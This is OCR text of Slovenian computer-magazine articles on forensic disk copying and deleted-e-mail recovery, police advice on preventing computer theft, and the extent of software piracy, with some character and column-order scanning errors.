dardizirani, i§¢emo neobicajne sestavne dele ali
kable, ki vodijo na ohi§je. Predvsem preveri-
mo trdi disk oziroma ali je nanj pritrjeno kaj
neobi¢ajnega. I§¢emo velike kondenzatorje ali
baterije, katerih namen je unievanje elektro-
nike trdega diska. Tako sicer podatki na pom-
nilniskih plos¢ah niso uni¢eni, vendar je nji-
hova rekonstrukcija mo&no oteZena in zahteva
uporabo dragih naprav. Preverimo tudi Zice, ki

od koderkoli vodijo na baterijo za napajanje
pomnilnika CMOS, ki je na mati¢ni plosci,
oziroma ki vodijo na stikalo za brisanje pomnil-
nika. Gesla se lahko skrivajo tako v pomnilni-
ku RAM kot tudi CMOS, ki pa podatke ohrani
tudi v primeru, ko je ratunalnik ugasnjen (zato
je na mati¢ni plo§¢i majhna baterija).

Sele ko se prepri¢amo, da pasti ni, lahko ra-
Cunalnik odpremo in dokumentiramo njego-
vo strojno konfiguracijo. Zapisati si moramo
serijsko Stevilko racunalnika, s katero lahko v
idealnem primeru pozneje najdemo njegovega
kupca. Preverimo tudi, kako so povezani pogo-
ni (trdi diski, opti¢ni pogoni), saj lahko iz tega
dolotimo, iz katerega pogona dobi rac¢unalnik
potrebne podatke za ponovni zagon, oziroma
pozneje rekonstruiramo diskovno polje RAID.

PREISKOVANJE KOPIJE

Podatkov, ki so predmet preiskave, ne sme-
mo preiskovati v racunalniku, kjer smo jih
nasli, temve¢ moramo najprej narediti kopijo

'

diska, pomnilniske kartice ali katerega drugega
pomnilniskega medija. Original ostane nedo-
taknjen, kar je bistveno za poznej$o sodno ob-
ravnavo v pravnih drzavah.

Kopijo lahko naredimo s samostojno napra-
vo za kopiranje, ki je sposobna prekopirati vsak
del diska — torej tudi tiste sektorje diska, na
katerih so Ze izbrisani podatki. Dvomimo pa,
da je mogode narediti kopijo celotnega diska
tudi do te stopnje, ki bi omogocala skeniranje
z elektronskim mikroskopom. Torej, da bi pre-
kopirala popolno sliko magnetnih domen sku-
paj s podatki o podatkih, ki so bili prepisani
z novimi. Ce gre za obnovitev na tem nivoju
ali za obnovitev diska s pokvarjeno elektro-
niko (ali zamenjavo te z zmogljivej$o), potem
je vseeno potrebno preiskovati originalni disk.
Pri kopiranju originala je treba paziti, da sam
proces ne zapiSe ¢esarkoli na originalni disk.

E-ZAKLADNICA PODATKOV

V danagnji dobi so elektronska sporogila za-
kladnica informacij za vsakogar, ki Zeli karkoli
zvedeti o drugi osebi. Ne samo, kaj je vsebina
komunikacije, temve& tudi s kom je oseba ko-
municirala in kdaj. Z malce razmisljanja (analiza
podatkov) in primerjanja teh podatkov s poda-
tki iz drugih virov pa je mo¢ izdelati sliko osum-
ljencevega obnasanja, morda tudi razmisljanja.

Z izbrisanimi sporodili elektronske poste je Se
vedji kriz kot z drugimi podatki v ra¢unalniku. Pri
vetini odjemalcev elektronske poste se ti zapisu-
jejo v posebno datoteko. Ce to izbriSemo, (a ne
prepisemo), so podatki e vedno na trdem disku.

racunalniska forenzika

Kako do verodostojne kopije

Proces kopiranja originalnega medija
mora biti verodostojen, tako da je brez
sence dvoma jasno, da je kopija popolno-
ma enaka originalu. To izvedemo z dva-
kratnim branjem, primerjanjem rezultatov
branja med seboj in uporabo posebnih
algoritmov. Po koncu kopiranja originalni
disk spravimo na varno mesto, kjer ima
dostop do njega le omejeno Stevilo oseb.

Ce se jih resni¢no Zelite znebiti predlagamo veé-
kratno prepisovanje sektorjev na trdem disku,
kier je ta datoteka zapisana. Se vegja te¥ava je bri-
sanje znotraj odjemalca. Pri Outlooku se izbrisana
sporotila najprej premaknejo v mapo »Deleteds,
kjer so normalno dostopna, in ele ko jih tam iz-
brifemo, jih odjemalec ne vidi vet. Se vedno pa
so znotraj omenjene datoteke, kar je lepo razvid-
no, &e spremljate njeno dolZino. Ta se ne zmanjsa,

N Med digitalnimi
detektivi na eni
strani in hekerji ali
tehnicno podkovanimi
nepridipravi na drugi
strani se bije stalen boj.

Ce izbrisemo podatke. Le &e uporabimo funkcijo
»stiskanja« po brisanju sporocil (kar, mimogrede,
zelo dolgo traja) jih v datoteki ni ve€. Da ne go-
vorimo o tem, da vedina odjemalcev hrani tudi
poslana sporoila, kar pomeni, da tudi ¢e samo
korespondenco izbrisete, ta $e vedno lahko ostane
pri osebi, s katero ste komunicirali.

Ni pa nujno, da je v zase’enem ratunalniku
tudi datoteka s elektronskimi sporoéili, saj je ta
lahko v omre#nih streznikih ali zamenljivih me-
dijih, ki jih represivni organi niso zasegli. To je
treba ugotoviti pri preiskavi prizoris¢a zlo¢ina in
spada v opis del in nalog preiskovalca, ki jih ta
mora izvesti na licu mesta. Prav tako je za delo
preiskovalca ote¥eno v primeru, ko je elektron-
skih sporocil preprosto preved in branje vsakega
posameznega zahteva preved Casa.

Vse, kar smo opisali, je zanimivo, a se zaveda-
mo, da je zgolj vrh ledene gore. Med digitalnimi
detektivi na eni strani in hekerji (ali tehni¢no
podkovanimi nepridipravi) na drugi strani, se
bije stalen boj. Ko eni najdejo novo tehniko
odkrivanja podatkov, sledi protiukrep, ki odkri-
vanje oteZi. In obratno. Ravno zaradi tega v jav-
nosti nikoli ni popolnoma znano, kaj vse imajo
na voljo v forenzi¢nih laboratorijih. Sem ter tja
je mog ujeti kaksne govorice, ki pa so lahko tudi
dezinformacije. Dejstvo pa ostaja: direktiva o
daljsem hranjenju elektronskih podatkov, ki jo
bomo morali upostevati tudi pri nas, je name-
njena laZjemu delu preiskovalcev pri preprece-
vanju teroristi¢nih napadov oziroma kriminal-
nih dejanj oziroma zbiranju podatkov, potrebnih
za pravnomo¢ne obsodbe. W
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lzvoli,
postre

Kadar govorimo o varnostni kulturi v
svetu raCunalniStva, nam misel najprej uide
k zaSCitni programski opremi, vdorom v
racunalnike, virusom in drugim digitalnim
nadlogam, hekerjem ter varnostnim
kopijam, zelo redko pa pomislimo, da nam
vsi zasCitni ukrepi pravzaprav kaj malo
koristijo, e nam raCunalnik preprosto
ukradejo.

b

),

PiSe: Vasja Ocvirk
vasja.ocvirk@mojmikrossi

izkusnje kriminalista iz prakse

NAJNEVARNEJSA
JE LAHKOVERNOST

Vinko Stojnsek iz Policij- .
ske uprave Ljubljana se 1
v Skupini za preventivo
in nadzor ukvarja tudi s
prepre¢evanjem odtujit-
ve racunalniSke opreme.
StojnSek meni, da je ra-
CunalniSka oprema vse
pogosteje tarca storilcev
kaznivih dejanj zaradi
vse veCje razSirjenosti
tovrstne opreme, pa naj
gre za poslovne namene .
ali za zabavo, tako, da A -

gre pri tem za logicno posledico vse vecje dosegljivosti in vseprisotnosti
racunalnikov v nasih Zivljenjih. OCitno gre za trend rasti, na katere-
ga vpliva predvsem Sirjenje celotnega obsega tega podrocja: »Tezko
si predstavljamo poslovanje podjetja ali izobrazevalne ustanove brez
racunalniSke opreme, ne glede na velikost in obseg dejavnosti. V letu
2005 smo na Policijski upravi Ljubljana podali 796 kazenskih ovadb
zaradi tatvin racunalniske opreme na nacin vloma v objekt ali v vozilo
(leta 2004 624) ter 217 kazenskih ovadb zaradi tatvine racunalniske
opreme (leta 2004 245).«
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Kje pride do najvec tatvin racunalniSke opreme? Javni sektor,
zasebna podjetja, fizicne osebe?

Najpogostejsa delitev storilcev kaznivih dejanj je na priloznostne in na
storilce, ki svoj podvig nacrtujejo. Prvi se bodo zadovoljili Ze z enim ko-
som racunalniSke opreme, ki ga bodo nasli nezavarovanega. Za dokonca-
nje kaznivega dejanja lahko uporabijo nakljuéno najdene predmete (npr.
s kamnom razbijejo izloZzbeno okno ali steklo vozila) ali pa si »ponujeno«
blago enostavno vzamejo (npr. prenosni racunalnik na mizi odklenjene
pisarne, predavalnice ...). Druga skupina pa so storilci, ki se na kazni-
vo dejanje pripravijo. Pridobijo si podatke o mehanskem in tehni¢nem
varovanju objekta in si temu primerno pripravijo tudi viomilsko orodje,
pripravijo si na€rt za onesposobitev alarmnih sistemov in, kar je za njih
najvaznejSe, pridobijo si tudi podatke, kaj sploh je v objektu, kaksen bo
»izkupicek« racunalniske opreme. Ce govorimo o namembnosti objek-
tov, so najveckrat tarée storilcev izobrazevalne ustanove, sledijo pa jim
podijetja, kjer se pricakuje, da zaradi svoje dejavnosti uporabljajo dokaj
nove in zmogljive racunalniske sisteme (oblikovalski studii, podjetja, ki se
ukvarjajo s projekti, povezanimi z grafiénim nacrtovanjem). Ob tem pa je
seveda treba omeniti Se trgovine, ki se ukvarjajo s prodajo racunalniske
opreme. Samo fizicne osebe kot oSkodovanci nastopajo v manjsem dele-
Zu. Tu gre predvsem za kazniva dejanja tatvine (prenosnih racunalnikov,
ko ti ostanejo za trenutek brez nadzora), vlomi v vozila (prenosni racunal-
nik v vozilu na sedezu) in vlomi v stanovanjske hiSe oz. stanovanija.

Kaj je najbolj priljubljeno blago med zmikavti?

Trenutno so najpogostejsa tarca storilcev kaznivih dejanj LCD-monitoriji,
sledijo jim racunalniske enote in vse, kar je v teh enotah (diski, pogoni,
bralniki, kartice ...), ter projektorji oziroma dataskopi (prikazovalniki).
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Nas ¢lanek o tatvinah prenosnih rac¢unal-
nikov je med bralci naletel na precej ugoden
sprejem, z ved strani pa smo prejeli odzive, iz
katerih je bilo mo& skoraj enoglasno razbrati,
da so se nekateri bralci dejansko zamislili nad
fizi¢nim varovanjem svojih prenosnikov. Zato
smo se odlogili, da bomo tokrat od bliZje in z
bolj strokovne plati pogledali varnostna vpra-
Sanja na podro&ju fizi¢ne varnosti ra¢unalni-
$ke opreme nasploh, ne samo prenosnikov.
Ker so za te re&i najbolj poklicani kriminalisti,
smo za pojasnila zaprosili Vinka Stojnska iz
Policijske uprave Ljubljana. Povpragali smo ga
ne samo o stanju na podrocju fizicne varnosti
raunalniske opreme, temve¢ tudi tisto naj-
bolj bistveno: kaj lahko storimo sami za to, da
se tatvina ne bi pripetila ravno nam, oziroma
kako storiti kar najve&, da nepridipravom ote-
¥imo delo.

SAMO TEHNICNO VAROVANJE NE
ZADOSCA

Zdi se, da se tudi tukaj ponavlja ista zgod-
ba kot pri protivirusni zas¢iti, ko si uporabniki
sicer namestijo protivirusni program, nato pa
Se naprej brezskrbno klikajo na vse vrste pri-
log, ki jih prejemajo po elektronski posti, ne
posodabljajo operacijskega sistema in druge
programske opreme in podobno. Tudi pri fizi¢-
nem varovanju strojne opreme ni ni¢ drugace.
Stojnsek ugotavlja, da samo tehni¢no varova-
nje ne zagotavlja varnosti in nedotakljivosti
prostorov: » Tehni¢no varovanje je u¢inkovito
le skupaj z mehanskim varovanjem, katere-

ga namen je prepreciti fizi¢ni vstop v dolo¢en
prostor. Storilci se vse bolj odlo¢ajo za izvrie-
vanje kaznivih dejanj, kot so hitri vlomi, ropi,
roparske tatvine, Ceprav vedo, da je objekt
tehni¢no varovan in da bo na kraj tatvine pri-
§la intervencijska ekipa.«

tatovi raCunalnikov

prostoru predmete vecje vrednosti in tako ime-
novane 'vroce' predmete, kot so LCD- moni-
torji, televizorji, ra¢unalniska oprema. Ta pros-
tor je v Casu zaprte trgovine zaprt Se z refetkami
ali kovinskimi roloji, vrati in podobno. Zaradi
dologenih tehni¢nih pomanjkljivostih pri tako

: I Samo tehnicno varovanje ne zagotavlja varnosti in
nedotakljivosti prostorov, ucinkovito je le skupaj 2
mehanskim varovanjem, katerega namen je prepreciti fizicni

vstop v dolocCen prostor.

Odlotilnega pomena je tudi preventivni
udinek, ki ga ima mehansko varovanje: »Po-
membno je, da se izlo¢ijo vse okolis¢ine, ki bi
lahko vplivale na odlo&itev dologene osebe, da
bo storila kaznivo dejanje v vaSem objektu, in
to ne glede na pri¢akovano materialno $kodo.
In e se %e odlodi, je treba morebitnemu storil-
cu odvzeti ¢im &asa pri tem dejanju. Cas odvza-
memo samo z mehanskimi preprekami, kot so
reSetke, kovinski roloji (stranski ali stropni).
Namestitev priporoamo na notranji strani,
ker jih na zunanji strani lahko storilec 'odpre',
ne da bi vklopil alarmni sistem. Mehanski del
varovanja je treba nadgraditi s tehni¢nim, to-
rej z javljalniki, ki bodo opozorili specializirano
podjetje za tehni¢no varovanje (ali pa lastnika
prek mobilnega telefona), da je tam oseba. «

Posebno poglavje so trgovine z radunalni-
§ko opremo, ki so $e zlasti privla¢na taréa za
tatove: »Trgovci lahko svoj poslovni prostor
preuredijo tako, da imajo v fizi¢no lo¢enem

imenovanem pozivniskem prenosu alarmnih
sporodil (prek telefonskih linij) priporo¢amo
Se vzporedno brezZi¢ni prenos alarmnih sporo-
&il. Slednje ne velja le za trgovce, temved na
splogno.«

POMEN VARNOSTNIH POSTOPKOV

Naslednja analogija s programsko varnostjo
racunalniske opreme je v predpisanih varnost-
nih postopkih, ki jih mora organizacija spre-
jeti, zaposleni ali ¢lani pa spostovati in tudi
izvajati: »[zobraZevalne ustanove, podjetja, ki
nimajo pristopnega nadzora, morajo s svojimi
internimi akti doseci pri zaposlenih ¢im vecjo
disciplino na podro¢ju samozas¢itnih ukrepov.
S tem mislim na zaklepanje pisarn, ucilnic,
predavalnic, pospravljanje ratunalniske opre-
me v kovinske omare, odgovornost za obisko-
valce od trenutka ko vstopijo v objekt, pa do
trenutka ko iz objekta izstopijo. Redno je treba
pregledovati, ali so zaprta okna, vrata — veliko

Druge enote so redkeje tarce storilcev, razen v primeru, ko gre za pre-
nosne racunalnike.

Ali imate priblizno oceno, koliko teh tatvin bi bilo mo¢ prepreciti brez
posebnih financnih vlozkov in kako?

Kar precej, Ceprav bi bilo nesmiselno govoriti o konkretnih Stevilkah, ne da
bi izvedli strokovno utemeljeno raziskavo. Pomembno je, da se zavedamo,
da se da marsikaj storiti Ze s spremembo nacina razmisljanja. Ljudje smo
Se vedno lahkoverni in prepricani, da se nam ne more nic¢ zgoditi, zato zelo
malo naredimo za zasCito svojega premozenja. Najprej moramo torej v
svojih glavah narediti miselni preskok in si re¢i: »Tudi jaz sem lahko Zrtev
kaznivega dejanja.« Temu sledi vpraSanje: »Kaj lahko naredim sam, brez
denarnih vlozkov, da do tega ne pride?« Ce se vrnemo k priloznostnim
storilcem, nam Ze ime pove, da ti storilci vzamejo tisto, kar ni varovano
- kar jim je ponujeno. Prvo pravilo je zaklepanje prostorov, kadar v njih
ni nikogar. Nic¢ kolikokrat vidimo odprta vrata praznih pisarn, v katerih so
na mizi prenosni racunalnik, mobilni telefon in po moznosti Se denarnica.
Ali drugaCe: odprta vrata predavalnice izobraZevalne ustanove, na mizi pa
projektor, ki ga ni nihée pospravil po opravljenem predavanju. To je kot,
da bi storilcu govorili: »lzvoli, postrezi si.« Poslovni prostori, pisarne, pre-
davalnice, torej kraji, kjer je mozen javen ali delno omejen pristop, morajo
biti v asu odsotnosti pristojnih oseb zaprti in zaklenjeni, prav tako morajo
biti zaprta okna oz. odprta le tako, da jih ni mogoce odpreti v celoti. Ne
pusCajte nobenega kosa racunalniske opreme na vidnem mestu v vozilu.
Ce vozilo za krajSi €as zapustite, to opremo shranite v prtljazni prostor.
Predmete shranite e pred zacetkom voznje (storilci obi¢ajno opazujejo
parkirna mesta, in ¢e boste pred njimi shranjevali predmete v prtljazni
prostor, in ¢e imate karavan model vozila, ste potencialna zrtev kaznivega
dejanja). Nikakor pa predmetov ne puscajte v prtljazniku za daljsi ¢as. Ce

uporabljate prenosne racunalnike na javnih krajih, naj bodo ves ¢as pod
vasim nadzorom. To so osnovni ukrepi, ki nas ne stanejo ni¢, lahko pa
nam mocno olajsajo Zivljenje.

Kako je s preventivnim opozarjanjem v tujini in pri nas? Se
uporabniki raunalnikov tega problema sploh zavedamo?

Tu se moramo zopet dotakniti varnostne kulture. Kot sem ze omenil, Se
vedno naredimo zelo malo za lastno varnost oziroma za varnost svojega
premozenja. Ves Cas pri¢akujemo, da bo to naredil nekdo drug. V zahod-
nem svetu je ta varnostna kultura vecja. K temu so jih prisilili varnostne
razmere (ve¢ kaznivih dejanj, hujSa kazniva dejanja, vecja materialna
Skoda, zavarovalniski pogoji ...) in zavedanje, da morajo sami poskrbeti
za svoje premozenje. Skoraj nikjer se ne mores sprehajati ali vstopiti v
poslovne objekte, izobrazevalne ustanove, ne da bi pred tem stopil skozi
pristopno kontrolo. Ce se zvecer, po zaprtju trgovin, sprehodite v krajih
takoj ¢ez zahodno in severno drzavno mejo, denimo v Trstu ali Celovcu,
zaradi reSetk in rolojev komajda vidite v izlozbe. Na Policijski upravi
Ljubljana v Sektorju kriminalisti¢ne policije se v Skupini za preventivo
in nadzor ukvarjamo tudi s svetovanjem, kako poskrbeti za optimalno
varovanje premozenja. lzkusnje, ki jih imamo na tem podrocju, nam
Zal kazejo na to, da se ljudje potrebe po takem svetovanju najveckrat
zavemo Sele po tistem, ko smo Ze postali Zrtev kaznivega dejanja. Pri
takih preventivnih pregledih najveckrat opazimo, da je za oSkodovance
najlazje, Ce namestijo elemente tehni¢nega varovanja torej javljalnike
gibanja, videonadzor in podobno. Pri tem pozabijo, da je bistvo pre-
preCevanja kaznivega dejanja, da nepooblas¢enim fizicno prepre¢imo
vstop v objekt. Storilci se zavedajo, da so objekti pod alarmnim siste-
mom, a tudi, da bo intervencija na kraj dogodka ob najboljSih razmerah
potovala nekaj minut. V tem Casu se lahko zgodi marsikaj.
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Varnostnikova »kobila« ...

Da je lahko odtujitev racunalniske opreme zelo resna stvar, potrjuje tudi zgodba iz ZDA, kjer
so pred nedavnim nekemu usluzbencu svetovalnega podjetja Ernst & Young ukradli notesnik,
v katerem je imel zaupne podatke o uporabnikih spletne strani za rezervacijo namestitev
Hotels.com. Da je zadeva Se kocljivej$a, je to Ze drugi tovrstni incident, saj je isto podjetje
v februarju izgubilo Stiri notesnike, v katerih so bili osebni podatki desettisocev zaposlenih v
podjetjih Sun, IBM, Cisco, BP in Nokia. Stirje usluzbenci so namre¢ na konferenci v Miamiju
med odmorom za kosilo pustili svoje notesnike na mizah v predavalnici. Vsekakor ne gre za
osamljen primer, saj so tovrstne zgodbe v zadnjih letih postale nekaksna stalnica na naslov-
nicah ¢asopisov, ki se ukvarjajo z varnostjo podatkov, in ni¢ ne kaze, da bi se ta trend zacel
zmanjSevati. Podrobnost, zaradi Cesar je ta zgodba nekaj posebnega, je dejstvo, da se Ernst &
Young poleg s poslovnim, davénim in financnim svetovanjem ukvarja tudi z vpraSanji varnosti
in varstva obcutljivih podatkov. Ce bi za hip odmislili resnost celotnega stanja in posledic,
ki jih imajo te izgube podatkov za prizadeta podjetja in njihove stranke, bi lahko ta primer
zlahka upodobili v eni izmed nestetih video smesnic iz serije »Neprecenljivo«.

N Prvo pravilo je
zaklepanje prostorov,
kadar v njih ni nikogar. Ni¢
kolikokrat vidimo odprta
vrata pragnih pisarn, v
katerih so na migi prenosni
racunalnik, mobilni telefon
in po mognosti se denarnica.
To je tako, kot bi storilcu
govoriliz »Izvoli, postrezi si.«

pripravljalnih dejanj poteka tako, da si storilec
(ali sostorilec) pusti odprto okno, ne zaklene
ali zgolj pripre vrata ... Novo ratunalnisko
opremo je treba namestiti v tehni¢no varovan
prostor. Ena izmed srednjih %ol, na primer, je
novo racunalnisko opremo namestila v teh-
ni¢no nezavarovan prostor — seveda so jo &ez
nekaj dni storilci odnesli.«

VIDEONADZOR ZAHTEVA
SKRBNOST

Tudi videonadzor in javljalniki gibanja ne resijo
vsega sami od sebe, lahko pa so tudi povsem neko-
ristni, Ce se vplete Se povr$nost: »Pri postavljanju
raznih omar, stojal in drugih predmetov bodite po-
zorni, da s postavitvijo ne prekrijete kota delova-
nja javljalnikov gibanja ali videonadzornih kamer.
Slednje je treba tudi veckrat pregledati, saj nekate-
ri storilci med pripravljalnimi dejanji onesposobijo
javljalnike tako, da jih prekrijejo ali obmejo in s
tem zoZijo kot delovanja.«

Toda to %e ni vse, opozarja Stojnsek: »Strez-
nike, zmogljiveje ra¢unalnike, ra¢unalnike, ki

jih uporabljate za shranjevanje podatkov video-
nadzora, shranjujte v posebnih boksih, kletkah
ali v mehansko-tehni¢no varovanih prostorih.
Ponudba tovrstnih izdelkov (boksi, kletke)
je na slovenskem trgu $e revna, vendar je po-
nudnikov zmeraj ve¢ (na eni izmed 3ol, ki je
bila veckrat tarca storilcev je iznajdljiv hisnik
podobne kletke naredil iz polomljenih stolov).
Prenosne racunalnike priklenite s posebnimi
klju¢avnicami saj bodo te pomenile za nepri-
pravljenega tatu veliko oviro. Ce se boste odlo-
&ili za videonadzor, naj bosta njegova postavi-
tev in kakovost sistema ¢im boljsa. Podatki naj
se shranjujejo v digitalni obliki. Shranjevana
enota mora biti prav tako mehansko varovana,
saj storilci v vedini primerov poiséejo 'shranje-
valno' enoto in jo unicijo. Postavitev kamer je
treba redno nadzirati, saj se lahko hitro zgodi,
da se s postavitvijo novih predmetov, prestavit-
vijo starih (ali z novimi artikli v primeru trgo-
vin) zmanj$a kot delovanja kamer ali javljalni-
kov gibanja. Na kakovost posnetkov vplivajo
tudi letni Casi (polo%aj sonca in s tem odboji
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svetlobe). Priporo¢amo namestitev vsaj ene
kamere na taksno mesto, da bo pokrivala vhod
v celoten objekt, in sicer nekje na viSini do 190
cm od tal. Namen je dobiti bliZinski posnetek
obraza morebitnega storilca. Pomembno je tudi
redno periodi¢no vzdrfevanje opreme tehnic-

nega varovanja (Cis¢enje, pregledi).«

ZAVARUJMO TUDI PODATKE

Izguba podatkov, o kateri smo v Mikru %e ve-
likokrat pisali, je zgodba zase. Po Stojnskovem
mnenju lastniki opreme prepogosto pozabljajo
na ta dejavnik, saj menijo, da so z zavarovanjem
resili problem. Toda vrednost same strojne opre-
me je lahko v finanénem smislu le kaplja v morje
proti izgubi podatkov in s tem izpada proizvod-
nje, ali dejavnosti. Poslovna $koda je lahko ne-

|

izmerljiva. Tu nastopijo klasi¢ni in vsem nam do-
bro znani nasveti, ki pa jih v resni¢nem Zivljenju
vse premalokrat zares upostevamo: »Podatki naj
bodo shranjeni pod gesli in vedno naj se naredijo
varnostne kopije. Ce gre za podatke zaupne na-
rave, naj se shranjujejo lo¢eno (v stre?nike, zuna-
nje pomnilniske enote, medije ...), tako da bodo
kljub tatvini ra¢unalnika nedosegljivi oz. neupo-
rabni za storilca. Vsakr$no dodatno mehansko
varovanje, ki bo otefilo delo storilcem kaznivih
dejanj, bo te tudi odvrnilo. Dobro mehansko va-
rovanje skupaj s tehni¢nim pa utegne omogoditi
prijetje storilca na kraju samem.«

Tako. Zdaj vemo, kaj vse pre¥i na nas v po-
slovnem in zasebnem Zivljenju, kar zadeva fizi¢-
no varnost strojne opreme. Naslednja stopnja
pa je dejansko upostevanje teh nasvetov. Smo
to sposobni in pripravljeni dose¢i? Ce malce
pomislimo, gre dejansko res zgolj za miselni
preskok, za spremembo naega povsem oseb-
nega odnosa do tega problema. Od tu naprej si
namre¢ lahko pomagamo le sami. In tega kora-
ka ne bo namesto nas naredil nih¢e drug. B
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Piratstvo, prekletstvo digitalnega sveta, na videz sicer
nedolZno, nehote povzroca biljardne izgube zaloZnikom,
umetnikom, avtorjem ... Ce se je pri nas v zadnjih

letih polozaj v podjetjih pohvalno popravil, je zgodba

pri domacih uporabnikih ravno nasprotna, saj piratske
vsebine Se nikoli niso bile tako lahko in poceni dostopne

mnozicam.
PiSe: UroS Florjanci¢
uros.florjancic@mojmikro.si

o mll’

red kratkim nam je vzbudil radoved-

nost podatek, da je v Sloveniji 50 od-

stotkov vseh programov nelegalnih.

Ze pred leti smo povprasali, kako sploh
pridejo do te ocene, in dobili zelo zanimiv od-
govor. Znano, je koliko ra¢unalnikov letno v
Sloveniji prodajo. Na podlagi te stevilke in po-
datkov o prodaji dologenih kategorij progra-
mov nato s statisti¢cno metodo izracunajo stop-
njo nelegalne uporabe. Po domace povedano,
to seveda pomeni domnevno. Ce so Sloveniji
prodali tiso€ ra¢unalnikov, bi potemtakem mo-
rali prodati na primer tudi petsto pisarniskih
paketov. Ce so slednjih prodali le 250, potem
je verjetnost, da jih je manjkajoc¢ih 250 nele-
galnih, dokaj visoka. Seveda posplodujemo, a
vseeno je nadin dolo¢anja stopnje nelegalne
uporabe dokaj neeksakten in podoben razis-
kavam o branju ¢asopisov in revij. Ocena je
lahko pravilna, lahko pa tudi mo&no odstopa
v katerikoli smeri — $e zlasti na manjSem trgu,
kjer je na voljo manj podatkov.

Seveda nas je zanimalo, kje lahko uporabniki
danes dobijo nelegalno vsebino. Vemo, da naj-
ved v sistemih za izmenjavo datotek (P2P), a
prav vsi uporabniki jih morda zaradi neznanja,
zaradi tega, ker nimajo dovolj hitre povezave v
svet, ali preprosto zato, ker jih no¢ejo, ne upo-
rabljajo. Zanimalo nas je, ali pri nas $e obstaja-
jo pirati v pravem smislu te besede, ki torej ne-
legalno vsebino prodajajo in tako sluZijo denar,
do katerega po nagem mnenju niso upraviceni.
Del problematike smo raziskali, kar je mogo&e

Kdo je pirat
Nismo pa vsi pirati! Sledi definicija: Pirati je posameznik ali organizacija, ki prodaja vsebine,
za katere nima avtorskih pravic ali dovoljenje od nosilcev teh. Popolnoma nepomembno je,
kje jih je dobil. Posameznikov, ki te vsebine uporabljajo, pa ne moremo oznaciti za pirate,
temvec le za uporabnike, ki uporabljajo nelegalne programe, igre, glasbo ali video.

tudi tako, da smo »kupili« piratske CD-je, del
nase zgodbe pa sloni na »javnih skrivnostih«.
Torej na vedenju, da nekaj obstaja, a je to po
drugi strani tezko ali celo nemogoce raziskati.

VSE ZA UGLED IN PRESTIZ

Ponudb v oglasnikih in v spletu res ni vec
toliko kot pred leti, ko Se ni bilo hitrega do-
stopa v internet, a $e vedno obstajajo. Znano
je, da je mogoce na spletnih dra¥bah kupiti do-
lo¢ene programe, igre in drugo vsebino veliko
ceneje, kot &e bi 3li v najbliZjo trgovino. A to
ni piratstvo, e seveda prodajalec v tem prime-
ru proda originalni izdelek, ki ga ne potrebuje
vec.

Dejstvo pa je, da
avtorsko  za¥litene
vsebine §e nikoli
niso bile tako ranlji-
ve, kot so danes. Pri-
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zadevanja zalo¥nikov, ki se kaZejo kot kopica
dragih resitev, ki otefujejo ali onemogocajo
nelegalno distribucijo in uporabo, se vedno
znova izka¥ejo za neudinkovite. Nekaj deset
»elitnih« piratskih skupin (Razor911, Class,
Deviance ...) svetovnega slovesa ve¢ino av-
torsko zas¢itenih del $e pred uradnim izidom
ponudi svetu. Tu glavne vloge ne igra denar,
ampak ugled, saj skupine med sabo tekmujejo,
katera bo prva ponudila dolo¢eno igro, pro-
gam, glasbo ali film.. Kombinacija hitrih inter-
netnih povezav in preprosta uporaba omre¥ij
P2P (Bit Torrent, Kazaa, e-Mule ... ) krog
uporabnikov razdirijo dobesedno na vsakega
posameznika. Piratstva danes kljub zmanjani

Nasli smo dve vecji in dobro
organizirani spletni prodajalni piratske
opreme. Koliko jih je dejansko, ne ve nihce.
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icrosoft je v sporocilu za
javnost priznal, da svojim
partnerjem sem ter tja posilja
»agente«, ki se predstavi-
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jo kot kupci in tajno preverjajo, ali se
partnerji dr¥ijo pravil igre. Torej, ali si
kateri od njih upa kupcu tako pod pultom
ponuditi tudi nelegalno razlicico program-
ske opreme ali malce prikrojiti sicer dokaj
trdna licenéna pravila. Tajni kupci niso v
svetu nobena posebnost, ne uporabljajo jih
le podjetja, da bi izvedela skrivnosti svoje
konkurence, temwe¢ tudi organizacije za
varovanje potrosnikov. V wseh teh primerih
tajni kupci tudi dejansko opravijo na-

kup, se zahvalijo, odidejo in doma v miru
napisejo porocilo svojim delodajalcem.
Dobra sluzba, dobis placilo, da »non stop«
nakupujes. Microsoftovi tajni kupci pa
nakupa ne opravijo, vse se konca pri izdaji
predracuna in ustnem preverjanju, kako je
s spoStovanjem pravil. Microsoft v tej vlogi
ni nottinghamski Serif, ki lovi Robina Hoo-
da, temve& pameten gospodar, ki skrbi, da
bi znotraj njegove partnerske mreZe veljala
pravila xdrave konkurence, ne pa pravilo
»mocnejSegac«.

Uradno nam ni uspelo izvedeti, kaksni so
bili zadnji rezultati akcije tajnih nakupov.
Pticka pa mi je priSepnila, da je petina
vseh prodajalcev, ki jih je obiskal tajni
kupec — in verjemite mi, Microsoftova
partnerska mreZa ni nekaj majhnega —,
pogrnila na izpitu. Posledice, v taki ali
drugaéni obliki, so verjetno sledile.

Ve se, kaj so OEM-licence — program
ali strojna oprema, ki jo kupimo v sestav-
lienem izdelku (najveckrat racunalniku) .
Prodajalec OEM-izdelkov ne sme in pro-
dajati samostojno. Teoreticno ima lahko
zaradi tega te¥ave tudi kupec, Ceprav v
zadnjih sedmih letih ni bilo takega primera.
Prav gotovo pa ima teZave zaradi tega pro-
dajalec, & ga pri pocetju zalotijo, saj se gre
nelojalno konkurenco. Se to pri nas do-
gaja? Pravijo, da ne, a sam sem %e naletel
na take primere. Je pa tegko lo¢iti primer
od primera. Danes kupimo racunalnik, cex
dva tedna, ko racunalnika sploh Se nismo
odpakirali iz Skatle, pa se spomnimo, da
potrebujemo Se Office. Gremo k istemu
prodajalcu, tam na proda OEM-licenco,

a izda nov racuna. Za racunalnik imamo
en racun, a program drugega in pravno-
formalno gre za licenéni prekrsek. V tem
primeru bi sam dejal, naj prodajalec naredi
now racun, na katerem bodo vsi kupljeni
izdelki. Kaj pa ko med nakupom enega in
drugega pretece nekaj mesecev ali celo eno
leto. Kdor se znajde, se pa¢ znajde?
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: I Piratstva danes kljub ymanjsani ponudbi organiziranih
prodajalcev ni manj, prav nasprotno, nelegalna oprema
in vsebine Se nikoli niso bile tako lahko, hitro in poceni

dostopne uporabnikom.

ponudbi organiziranih prodajalcev ni manij,
prav nasprotno, Se nikoli nelegalna oprema in
vsebine niso bile tako lahko, hitro in poceni
dostopne uporabnikom, izjemno pa je narasla
tudi izmenjava med prijatelji in znanci tako
prek zasebnih FTP-strefnikov kot z menjavo
DVD/CD-medijev.

Preden« preidemo na prave domace pirate,
poglejmo e en primer »nelegalnega« po&etja,
za katerega vemo, da obstaja, a ga ne moremo
